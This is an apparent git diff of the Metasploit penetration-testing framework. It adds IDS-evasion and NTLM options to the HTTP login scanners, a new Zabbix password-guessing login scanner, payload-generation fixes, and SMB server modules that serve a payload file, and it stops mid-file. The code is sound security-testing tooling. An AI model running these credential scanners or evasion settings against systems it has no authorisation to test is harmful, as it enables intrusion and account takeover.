# @return [Boolean] Whether to use a random invalid, HTTP method for request
|
||||
attr_accessor :evade_method_random_invalid
|
||||
|
||||
# @!attribute evade_method_random_case
|
||||
# @return [Boolean] Whether to use random casing for the HTTP method
|
||||
attr_accessor :evade_method_random_case
|
||||
|
||||
# @!attribute evade_uri_dir_self_reference
|
||||
# @return [Boolean] Whether to insert self-referential directories into the uri
|
||||
attr_accessor :evade_uri_dir_self_reference
|
||||
|
||||
# @!attribute evade_uri_dir_fake_relative
|
||||
# @return [Boolean] Whether to insert fake relative directories into the uri
|
||||
attr_accessor :evade_uri_dir_fake_relative
|
||||
|
||||
# @!attribute evade_uri_use_backslashes
|
||||
# @return [Boolean] Whether to use back slashes instead of forward slashes in the uri
|
||||
attr_accessor :evade_uri_use_backslashes
|
||||
|
||||
# @!attribute evade_pad_fake_headers
|
||||
# @return [Boolean] Whether to insert random, fake headers into the HTTP request
|
||||
attr_accessor :evade_pad_fake_headers
|
||||
|
||||
# @!attribute evade_pad_fake_headers_count
|
||||
# @return [Fixnum] How many fake headers to insert into the HTTP request
|
||||
attr_accessor :evade_pad_fake_headers_count
|
||||
|
||||
# @!attribute evade_pad_get_params
|
||||
# @return [Boolean] Whether to insert random, fake query string variables into the request
|
||||
attr_accessor :evade_pad_get_params
|
||||
|
||||
# @!attribute evade_pad_get_params_count
|
||||
# @return [Fixnum] How many fake query string variables to insert into the request
|
||||
attr_accessor :evade_pad_get_params_count
|
||||
|
||||
# @!attribute evade_pad_post_params
|
||||
# @return [Boolean] Whether to insert random, fake post variables into the request
|
||||
attr_accessor :evade_pad_post_params
|
||||
|
||||
# @!attribute evade_pad_post_params_count
|
||||
# @return [Fixnum] How many fake post variables to insert into the request
|
||||
attr_accessor :evade_pad_post_params_count
|
||||
|
||||
# @!attribute evade_uri_fake_end
|
||||
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
|
||||
attr_accessor :evade_uri_fake_end
|
||||
|
||||
# @!attribute evade_uri_fake_params_start
|
||||
# @return [Boolean] Whether to add a fake start of params to the URI (eg: /%3fa=b/../)
|
||||
attr_accessor :evade_uri_fake_params_start
|
||||
|
||||
# @!attribute evade_header_folding
|
||||
# @return [Boolean] Whether to enable folding of HTTP headers
|
||||
attr_accessor :evade_header_folding
|
||||
|
||||
# @!attribute ntlm_use_ntlmv2_session
|
||||
# @return [Boolean] Whether to activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
|
||||
attr_accessor :ntlm_use_ntlmv2_session
|
||||
|
||||
# @!attribute ntlm_use_ntlmv2
|
||||
# @return [Boolean] Whether to use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' is enabled
|
||||
attr_accessor :ntlm_use_ntlmv2
|
||||
|
||||
# @!attribute ntlm_send_lm
|
||||
# @return [Boolean] Whether to always send the LANMAN response (except when NTLMv2_session is specified)
|
||||
attr_accessor :ntlm_send_lm
|
||||
|
||||
# @!attribute ntlm_send_ntlm
|
||||
# @return [Boolean] Whether to activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
|
||||
attr_accessor :ntlm_send_ntlm
|
||||
|
||||
# @!attribute ntlm_send_spn
|
||||
# @return [Boolean] Whether to send an avp of type SPN in the NTLMv2 client blob.
|
||||
attr_accessor :ntlm_send_spn
|
||||
|
||||
# @!attribute ntlm_use_lm_key
|
||||
# @return [Boolean] Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
|
||||
attr_accessor :ntlm_use_lm_key
|
||||
|
||||
# @!attribute ntlm_domain
|
||||
# @return [String] The NTLM domain to use during authentication
|
||||
attr_accessor :ntlm_domain
|
||||
|
||||
# @!attribute digest_auth_iis
|
||||
# @return [Boolean] Whether to conform to IIS digest authentication mode.
|
||||
attr_accessor :digest_auth_iis
|
||||
|
||||
|
||||
validates :uri, presence: true, length: { minimum: 1 }
|
||||
|
||||
|
@ -55,7 +171,7 @@ module Metasploit
|
|||
)
|
||||
|
||||
begin
|
||||
# Use _send_recv instead of send_recv to skip automatiu
|
||||
# Use _send_recv instead of send_recv to skip automatic
|
||||
# authentication
|
||||
response = http_client._send_recv(request)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
|
@ -77,7 +193,6 @@ module Metasploit
|
|||
# login with.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
ssl = false if ssl.nil?
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
@ -95,11 +210,11 @@ module Metasploit
|
|||
end
|
||||
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version,
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
|
||||
proxies, credential.public, credential.private
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
configure_http_client(http_client)
|
||||
|
||||
if credential.realm
|
||||
http_client.set_config('domain' => credential.realm)
|
||||
|
@ -127,12 +242,53 @@ module Metasploit
|
|||
|
||||
private
|
||||
|
||||
def config_client(client)
|
||||
client.set_config(
|
||||
'vhost' => vhost || host,
|
||||
'agent' => user_agent
|
||||
# This method is responsible for mapping the caller's datastore options to the
|
||||
# Rex::Proto::Http::Client configuration parameters.
|
||||
def configure_http_client(http_client)
|
||||
http_client.set_config(
|
||||
'vhost' => vhost || host,
|
||||
'agent' => user_agent
|
||||
)
|
||||
client
|
||||
|
||||
possible_params = {
|
||||
'uri_encode_mode' => evade_uri_encode_mode,
|
||||
'uri_full_url' => evade_uri_full_url,
|
||||
'pad_method_uri_count' => evade_pad_method_uri_count,
|
||||
'pad_uri_version_count' => evade_pad_uri_version_count,
|
||||
'pad_method_uri_type' => evade_pad_method_uri_type,
|
||||
'pad_uri_version_type' => evade_pad_uri_version_type,
|
||||
'method_random_valid' => evade_method_random_valid,
|
||||
'method_random_invalid' => evade_method_random_invalid,
|
||||
'method_random_case' => evade_method_random_case,
|
||||
'uri_dir_self_reference' => evade_uri_dir_self_reference,
|
||||
'uri_dir_fake_relative' => evade_uri_dir_fake_relative,
|
||||
'uri_use_backslashes' => evade_uri_use_backslashes,
|
||||
'pad_fake_headers' => evade_pad_fake_headers,
|
||||
'pad_fake_headers_count' => evade_pad_fake_headers_count,
|
||||
'pad_get_params' => evade_pad_get_params,
|
||||
'pad_get_params_count' => evade_pad_get_params_count,
|
||||
'pad_post_params' => evade_pad_post_params,
|
||||
'pad_post_params_count' => evade_pad_post_params_count,
|
||||
'uri_fake_end' => evade_uri_fake_end,
|
||||
'uri_fake_params_start' => evade_uri_fake_params_start,
|
||||
'header_folding' => evade_header_folding,
|
||||
'usentlm2_session' => ntlm_use_ntlmv2_session,
|
||||
'use_ntlmv2' => ntlm_use_ntlmv2,
|
||||
'send_lm' => ntlm_send_lm,
|
||||
'send_ntlm' => ntlm_send_ntlm,
|
||||
'SendSPN' => ntlm_send_spn,
|
||||
'UseLMKey' => ntlm_use_lm_key,
|
||||
'domain' => ntlm_domain,
|
||||
'DigestAuthIIS' => digest_auth_iis
|
||||
}
|
||||
|
||||
# Set the parameter only if it is not nil
|
||||
possible_params.each_pair do |k,v|
|
||||
next if v.nil?
|
||||
http_client.set_config(k => v)
|
||||
end
|
||||
|
||||
http_client
|
||||
end
|
||||
|
||||
# This method sets the sane defaults for things
|
||||
|
@ -157,9 +313,21 @@ module Metasploit
|
|||
self.ssl = true
|
||||
end
|
||||
|
||||
if self.ssl.nil?
|
||||
self.ssl = false
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Combine the base URI with the target URI in a sane fashion
|
||||
#
|
||||
# @param [String] The target URL
|
||||
# @return [String] the final URL mapped against the base
|
||||
def normalize_uri(target_uri)
|
||||
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,8 +12,7 @@ module Metasploit
|
|||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -34,6 +34,7 @@ module Metasploit
|
|||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
|
|
|
@ -36,6 +36,7 @@ module Metasploit
|
|||
cred = Rex::Text.uri_encode(credential.private)
|
||||
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi(
|
||||
'method' => method,
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit
|
|||
|
||||
req_opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => '/proxy/ssllogin',
|
||||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'redirecturl' => '',
|
||||
'redirectquerystring' => '',
|
||||
|
@ -34,6 +34,7 @@ module Metasploit
|
|||
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi(req_opts)
|
||||
res = cli.send_recv(req)
|
||||
|
|
|
@ -12,6 +12,7 @@ module Metasploit
|
|||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The Zabbix HTTP LoginScanner class provides methods to do login routines
|
||||
# for Zabbix 2.4 and 2.2
|
||||
class Zabbix < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute version
|
||||
# @return [String] Product version
|
||||
attr_accessor :version
|
||||
|
||||
# @!attribute zsession
|
||||
# @return [String] Cookie session
|
||||
attr_accessor :zsession
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m
|
||||
return "Unexpected HTTP body (is this really Zabbix?)"
|
||||
end
|
||||
|
||||
self.version = $1
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Found a cookie? Set it. We're going to need it.
|
||||
if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i
|
||||
self.zsession = $1
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(credential)
|
||||
|
||||
data = "request="
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&autologin=1"
|
||||
data << "&enter=Sign%20in"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('index.php'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded'
|
||||
}
|
||||
}
|
||||
|
||||
send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Zabbix
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
res = try_credential(credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri('profile.php'),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Cookie' => "zbx_sessionid=#{self.zsession}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -51,8 +51,7 @@ module Metasploit
|
|||
|
||||
# Send a prelogin packet and check that encryption is not enabled
|
||||
if mssql_prelogin() != ENCRYPT_NOT_SUP
|
||||
print_error("Encryption is not supported")
|
||||
return false
|
||||
raise ::Rex::ConnectionError, "Encryption is not supported"
|
||||
end
|
||||
|
||||
if windows_authentication
|
||||
|
|
|
@ -25,6 +25,8 @@ module Buffer
|
|||
when 'raw'
|
||||
when 'num'
|
||||
buf = Rex::Text.to_num(buf)
|
||||
when 'hex'
|
||||
buf = Rex::Text.to_hex(buf, '')
|
||||
when 'dword', 'dw'
|
||||
buf = Rex::Text.to_dword(buf)
|
||||
when 'python', 'py'
|
||||
|
@ -65,7 +67,7 @@ module Buffer
|
|||
def self.comment(buf, fmt = "ruby")
|
||||
case fmt
|
||||
when 'raw'
|
||||
when 'num', 'dword', 'dw'
|
||||
when 'num', 'dword', 'dw', 'hex'
|
||||
buf = Rex::Text.to_js_comment(buf)
|
||||
when 'ruby', 'rb', 'python', 'py'
|
||||
buf = Rex::Text.to_ruby_comment(buf)
|
||||
|
@ -98,6 +100,7 @@ module Buffer
|
|||
'csharp',
|
||||
'dw',
|
||||
'dword',
|
||||
'hex',
|
||||
'java',
|
||||
'js_be',
|
||||
'js_le',
|
||||
|
|
|
@ -43,6 +43,13 @@ class DataStore < Hash
|
|||
super(find_key_case(k), v)
|
||||
end
|
||||
|
||||
#
|
||||
# Case-insensitive wrapper around delete
|
||||
#
|
||||
def delete(k)
|
||||
super(find_key_case(k))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Updates a value in the datastore with the specified name, k, to the
|
||||
|
|
|
@ -48,7 +48,7 @@ module Exploit::EXE
|
|||
end
|
||||
|
||||
def generate_payload_exe(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
@ -73,7 +73,7 @@ module Exploit::EXE
|
|||
end
|
||||
|
||||
def generate_payload_exe_service(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
@ -96,7 +96,7 @@ module Exploit::EXE
|
|||
end
|
||||
|
||||
def generate_payload_dll(opts = {})
|
||||
return get_custom_exe if datastore.include? 'EXE::Custom'
|
||||
return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['EXE::EICAR']
|
||||
|
||||
exe_init_options(opts)
|
||||
|
@ -125,7 +125,7 @@ module Exploit::EXE
|
|||
end
|
||||
|
||||
def generate_payload_msi(opts = {})
|
||||
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
|
||||
return get_custom_exe(datastore['MSI::Custom']) unless datastore['MSI::Custom'].to_s.strip.empty?
|
||||
return get_eicar_exe if datastore['MSI::EICAR']
|
||||
|
||||
exe = generate_payload_exe(opts)
|
||||
|
|
|
@ -210,6 +210,54 @@ module Exploit::Remote::HttpClient
|
|||
return nclient
|
||||
end
|
||||
|
||||
#
|
||||
# Converts datastore options into configuration parameters for the
|
||||
# Metasploit::LoginScanner::Http class. Any parameters passed into
|
||||
# this method will override the defaults.
|
||||
#
|
||||
def configure_http_login_scanner(conf)
|
||||
{
|
||||
host: rhost,
|
||||
port: rport,
|
||||
ssl: ssl,
|
||||
ssl_version: ssl_version,
|
||||
proxies: datastore['PROXIES'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
vhost: vhost,
|
||||
user_agent: datastore['UserAgent'],
|
||||
evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'],
|
||||
evade_uri_full_url: datastore['HTTP::uri_full_url'],
|
||||
evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'],
|
||||
evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'],
|
||||
evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'],
|
||||
evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'],
|
||||
evade_method_random_valid: datastore['HTTP::method_random_valid'],
|
||||
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
|
||||
evade_method_random_case: datastore['HTTP::method_random_case'],
|
||||
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
|
||||
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
|
||||
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
|
||||
evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'],
|
||||
evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'],
|
||||
evade_pad_get_params: datastore['HTTP::pad_get_params'],
|
||||
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
|
||||
evade_pad_post_params: datastore['HTTP::pad_post_params'],
|
||||
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
|
||||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||
evade_header_folding: datastore['HTTP::header_folding'],
|
||||
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
|
||||
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
|
||||
ntlm_send_lm: datastore['NTLM::SendLM'],
|
||||
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
|
||||
ntlm_send_spn: datastore['NTLM::SendSPN'],
|
||||
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
|
||||
ntlm_domain: datastore['DOMAIN'],
|
||||
digest_auth_iis: datastore['DigestAuthIIS']
|
||||
}.merge(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Passes the client connection down to the handler to see if it's of any
|
||||
# use.
|
||||
|
|
|
@ -52,7 +52,7 @@ module Exploit::NTLM
|
|||
# SendSPN will send an avp of type 9/SPN in the ntlmv2 client blob, this is mandatory on windows seven / 2008 r2 if
|
||||
# Microsoft network server : Server SPN target name validation level is set to <Required from client> or we get an STATUS_ACCESS_DENIED
|
||||
#
|
||||
OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required', true]),
|
||||
OptBool.new('NTLM::SendSPN', [ true, 'Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required', true]),
|
||||
], Msf::Exploit::NTLM::Client)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -20,6 +20,8 @@ require 'msf/core/exploit/jsobfu'
|
|||
module Msf
|
||||
module Exploit::Remote::BrowserExploitServer
|
||||
|
||||
class BESException < RuntimeError; end
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::JSObfu
|
||||
|
@ -521,7 +523,13 @@ module Msf
|
|||
try_set_target(profile)
|
||||
bad_reqs = get_bad_requirements(profile)
|
||||
if bad_reqs.empty?
|
||||
method(:on_request_exploit).call(cli, request, profile)
|
||||
begin
|
||||
method(:on_request_exploit).call(cli, request, profile)
|
||||
rescue BESException => e
|
||||
elog("BESException: #{e.message}\n#{e.backtrace * "\n"}")
|
||||
send_not_found(cli)
|
||||
print_error("BESException: #{e.message}")
|
||||
end
|
||||
else
|
||||
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
|
||||
if bad_reqs.include?(:vuln_test)
|
||||
|
@ -586,7 +594,15 @@ module Msf
|
|||
platform = platform.gsub(/^Mac OS X$/, 'OSX')
|
||||
platform = platform.gsub(/^Windows.*$/, 'Windows')
|
||||
|
||||
regenerate_payload(cli, platform, arch).encoded
|
||||
p = regenerate_payload(cli, platform, arch)
|
||||
|
||||
unless p.arch.include?(arch)
|
||||
err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. "
|
||||
err << "Please check your payload setting."
|
||||
raise BESException, err
|
||||
end
|
||||
|
||||
return p.encoded
|
||||
end
|
||||
|
||||
# @return [String] custom Javascript to check if a vulnerability is present
|
||||
|
|
|
@ -133,11 +133,18 @@ module Msf
|
|||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags1'] = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE
|
||||
if esn
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
||||
pkt['Payload']['SMB'].v['Flags2'] =
|
||||
CONST::FLAGS2_UNICODE_STRINGS +
|
||||
CONST::FLAGS2_EXTENDED_SECURITY +
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES +
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['Flags2'] =
|
||||
CONST::FLAGS2_UNICODE_STRINGS +
|
||||
CONST::FLAGS2_32_BIT_ERROR_CODES +
|
||||
CONST::FLAGS2_LONG_PATH_COMPONENTS
|
||||
end
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
|
||||
c.put(pkt.to_s)
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,16 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
require 'msf/core/exploit/smb/server/share/command/close'
|
||||
require 'msf/core/exploit/smb/server/share/command/negotiate'
|
||||
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/read_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,30 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Close
|
||||
#
|
||||
# Responds to a client CLOSE request
|
||||
#
|
||||
def smb_cmd_close(c, buff)
|
||||
send_close_res(c)
|
||||
end
|
||||
|
||||
def send_close_res(c)
|
||||
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 0
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,71 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Negotiate
|
||||
#
|
||||
# Negotiates a SHARE session with the client
|
||||
#
|
||||
def smb_cmd_negotiate(c, buff)
|
||||
pkt = CONST::SMB_NEG_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
||||
dialect = dialects.index("NT LM 0.12") || dialects.length-1
|
||||
|
||||
send_negotitate_res(c, {
|
||||
dialect: dialect,
|
||||
security_mode: CONST::NEG_SECURITY_PASSWORD,
|
||||
max_mpx: 50,
|
||||
max_vcs: 1,
|
||||
max_buff: 4356,
|
||||
max_raw: 65536,
|
||||
server_time_zone: 0,
|
||||
capabilities: CAPABILITIES,
|
||||
key_length: 8,
|
||||
key: Rex::Text.rand_text_hex(8)
|
||||
})
|
||||
end
|
||||
|
||||
def send_negotitate_res(c, opts = {})
|
||||
dialect = opts[:dialect] || 0
|
||||
security_mode = opts[:security_mode] || 0
|
||||
max_mpx = opts[:max_mpx] || 0
|
||||
max_vcs = opts[:max_vcs] || 0
|
||||
max_buff = opts[:max_buff] || 0
|
||||
max_raw = opts[:max_raw] || 0
|
||||
server_time_zone = opts[:server_time_zone] || 0
|
||||
capabilities = opts[:capabilities] || 0
|
||||
key_length = opts[:key_length] || 0
|
||||
key = opts[:key] || ''
|
||||
|
||||
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 17
|
||||
pkt['Payload'].v['Dialect'] = dialect
|
||||
pkt['Payload'].v['SecurityMode'] = security_mode
|
||||
pkt['Payload'].v['MaxMPX'] = max_mpx
|
||||
pkt['Payload'].v['MaxVCS'] = max_vcs
|
||||
pkt['Payload'].v['MaxBuff'] = max_buff
|
||||
pkt['Payload'].v['MaxRaw'] = max_raw
|
||||
pkt['Payload'].v['SystemTimeLow'] = lo
|
||||
pkt['Payload'].v['SystemTimeHigh'] = hi
|
||||
pkt['Payload'].v['ServerTimeZone'] = server_time_zone
|
||||
pkt['Payload'].v['SessionKey'] = 0
|
||||
pkt['Payload'].v['Capabilities'] = capabilities
|
||||
pkt['Payload'].v['KeyLength'] = key_length
|
||||
pkt['Payload'].v['Payload'] = key
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,90 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module NtCreateAndx
|
||||
#
|
||||
# Responds to a client NT_CREATE_ANDX request
|
||||
#
|
||||
def smb_cmd_nt_create_andx(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_CREATE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
payload = (pkt['Payload'].v['Payload']).downcase
|
||||
payload.gsub!(/^[\x00]*/, '') # delete padding
|
||||
payload = Rex::Text.ascii_safe_hex(payload)
|
||||
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
if payload.nil? || payload.empty?
|
||||
payload = file_name
|
||||
end
|
||||
|
||||
if payload.ends_with?(file_name)
|
||||
fid = smb[:file_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
eof = exe_contents.length
|
||||
is_dir = 0
|
||||
elsif payload.eql?(path_name)
|
||||
fid = smb[:dir_id].to_i
|
||||
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
eof = 0
|
||||
is_dir = 1
|
||||
else
|
||||
# Otherwise send not found
|
||||
